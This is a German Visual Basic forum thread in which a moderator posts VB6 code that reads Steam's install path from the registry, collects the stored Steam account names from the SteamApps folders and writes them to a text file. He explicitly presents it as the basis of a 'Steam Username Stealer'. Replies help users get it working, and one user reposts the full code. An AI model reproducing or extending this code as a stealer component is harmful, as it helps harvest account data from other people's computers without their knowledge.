Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
  		RegistrierenRegistrieren  LoginLogin

Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Source Codes
Autor
Nachricht
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 28.11.2007
Beiträge: 425
[B] Steam Benutzernamen auslesen
Verfasst am: 11.03.2008, 19:24
Hiermit könnt ihr ganz leicht alle auf dem PC gespeicherten Steam Benutzernamen auslesen.

Benötigte Funktionen (packt sie in ein Modul)

Code:
Public Function RegRead(Path As String) As String
On Error Resume Next
Dim ws As Object
On Local Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function

Public Function GetFold(ByVal Path As String) As String
  Dim ausgabe As String
  Dim file As String
  ausgabe = ""
  file = Dir((Path), vbDirectory)
Do While file <> ""
  file = Dir
   If IsDir(Path & file) Then
   ausgabe = ausgabe & "*" & file
   End If
   Loop
   GetFold = ausgabe
End Function

Public Function IsDir(Path As String) As Boolean
  On Local Error Resume Next
    IsDir = CBool(GetAttr(Path) And vbDirectory)
  On Local Error GoTo 0
End Function

Aufruf:

Code:
Dim sPath As String, sFolders() As String
sPath = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Valve\Steam\InstallPath") & "\SteamApps\"
sFolders = Split(GetFold(sPath), "*")

For i = 2 To UBound(sFolders) - 1
MsgBox sFolders(i) ' hier Benutzernamen verarbeiten
Next

Beispiel um Benutzernamen in einem String zu speichern und ihn in eine Datei zu schreiben

Code:
Dim sPath As String, sFolders() As String, sVar As String, FF As Integer
sPath = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Valve\Steam\InstallPath") & "\SteamApps\"
sFolders = Split(GetFold(sPath), "*")

For i = 2 To UBound(sFolders) - 1
If sVar = "" Then
sVar = "Benutzernamen: " & sfolders(i)
Else
sVar = sVar & ", " & sfolders(i)
End If
Next

FF = FreeFile

Open App.Path & "\usernames.txt" For Output As #FF
Print #FF, sVar
Close #FF

Viel Spaß beim Steam Username Stealer coden! xD

c0re
_________________


Zuletzt bearbeitet von c0re_ am 18.03.2008, 16:10, insgesamt 2-mal bearbeitet
 
Jolo_
Coder
Coder



Anmeldedatum: 20.03.2007
Beiträge: 210

Verfasst am: 11.03.2008, 19:39
hehe so hab ich das bei meinem kommenden stealer auch gemacht Mr. Green

MfG Jolo
_________________
 
the_gam3r_
Coder
Coder

Anmeldedatum: 09.02.2008
Beiträge: 89

Verfasst am: 11.03.2008, 20:20
bin ich so dumm oder wie
iwie kann ich die net printen omfg
Code:

Print #1, " & sFolders(i) & "

wtf?
 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 28.11.2007
Beiträge: 425

Verfasst am: 11.03.2008, 20:36
Ja du bist so dumm.

Code:
Print #1, sFolders(i)

_________________
 
the_gam3r_
Coder
Coder

Anmeldedatum: 09.02.2008
Beiträge: 89

Verfasst am: 11.03.2008, 20:38
sub oder function nicht definiert ?
 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 28.11.2007
Beiträge: 425

Verfasst am: 11.03.2008, 20:41
Vielleicht erst mal eine Datei öffnen? Oben hab ich noch was hinzugefügt.
_________________
 
regenz11_
Coder
Coder



Anmeldedatum: 29.07.2007
Beiträge: 77

Verfasst am: 13.03.2008, 10:32
Ach der Source Code den du mir gegeben hast Very Happy
Danke nochmal dafür !
Funzt echt Supi Very Happy
_________________
 
H4CK4 K1NG0_
Poster
Poster



Anmeldedatum: 05.02.2008
Beiträge: 146
Wohnort: Nähe von 127.0.0.1

Verfasst am: 18.03.2008, 15:47
Funktioniert irgendwie bei mir nicht.. Könnte jemand eine Fertige Source Posten?

MfG
_________________
 
Marduk_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 17.06.2007
Beiträge: 389

Verfasst am: 18.03.2008, 15:49
H4CK4 K1NG0 hat Folgendes geschrieben:
Funktioniert irgendwie bei mir nicht.. Könnte jemand eine Fertige Source Posten?

MfG


Mit Sicherheit nicht! Evil or Very Mad

Beschreib lieber was nicht geht, dann kann man dir auch helfen.
 
H4CK4 K1NG0_
Poster
Poster



Anmeldedatum: 05.02.2008
Beiträge: 146
Wohnort: Nähe von 127.0.0.1

Verfasst am: 18.03.2008, 15:56
Die Sub oder Function nicht definiert.. ?
_________________
 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 28.11.2007
Beiträge: 425

Verfasst am: 18.03.2008, 16:11
So, darfst dir den Code noch mal kopieren.
_________________
 
Analegrande_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 23.11.2007
Beiträge: 47

Verfasst am: 19.03.2008, 21:41
Vielen Dank =)
 
igoe
Gast

Verfasst am: 19.03.2008, 22:37
wollt mich mal für denn source bedanken
 
Blackey_
Newbie
Newbie

Anmeldedatum: 09.12.2007
Beiträge: 9

Verfasst am: 22.03.2008, 09:33
leute is doch echt easy going

folgendes als modul reinhauen:

Code:
Public Function RegRead(Path As String) As String
On Error Resume Next
Dim ws As Object
On Local Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function

Public Function GetFold(ByVal Path As String) As String
  Dim ausgabe As String
  Dim file As String
  ausgabe = ""
  file = Dir((Path), vbDirectory)
Do While file <> ""
  file = Dir
   If IsDir(Path & file) Then
   ausgabe = ausgabe & "*" & file
   End If
   Loop
   GetFold = ausgabe
End Function

Public Function IsDir(Path As String) As Boolean
  On Local Error Resume Next
    IsDir = CBool(GetAttr(Path) And vbDirectory)
  On Local Error GoTo 0
End Function


soo, jetzt in eurer form n button erstellen und mit folgendem befehl "binden":

Code:
Dim sPath As String, sFolders() As String
sPath = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Valve\Steam\InstallPath") & "\SteamApps\"
sFolders = Split(GetFold(sPath), "*")

For i = 2 To UBound(sFolders) - 1
MsgBox sFolders(i) ' hier Benutzernamen verarbeiten
Next


und/oder

Code:
Dim sPath As String, sFolders() As String, sVar As String, FF As Integer
sPath = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Valve\Steam\InstallPath") & "\SteamApps\"
sFolders = Split(GetFold(sPath), "*")

For i = 2 To UBound(sFolders) - 1
If sVar = "" Then
sVar = "Benutzernamen: " & sFolders(i)
Else
sVar = sVar & ", " & sFolders(i)
End If
Next

FF = FreeFile

Open App.Path & "\usernames.txt" For Output As #FF
Print #FF, sVar
Close #FF



aber mal ehrlich, wer copy paste nicht schafft... das ist irgendwie schwach

danke übrigens ;D
_________________
 
klopower
Newbie
Newbie

Anmeldedatum: 07.07.2010
Beiträge: 5

Verfasst am: 09.07.2010, 12:19

Nice code... sehr cool^^
Brauch das net wirklich ... (zum lernen aber dann schon!
hat mir viel geholfen!
_________________
Programmiern macht spaß! Aber nur wenn man kein dummes script kiddie ist!!!
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Source Codes

Tags: steam benutzernamen, benutzernamen auslesen

  
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge [suche] Tuturials winsock & daten senden 869 09.06.2011, 12:19
Keine neuen Beiträge [Video] *.dll & *.ocx Installer 2432 06.03.2008, 20:19
Keine neuen Beiträge ListView speichern & laden 1242 05.08.2008, 12:32
Keine neuen Beiträge Registry & Co Fragen 1101 03.05.2007, 09:57
Keine neuen Beiträge Listbox speichern & laden 2047 22.03.2007, 20:25
 




[ Time: 0.5002s ][ Queries: 137 (0.0413s) ][ GZIP on - Debug on ]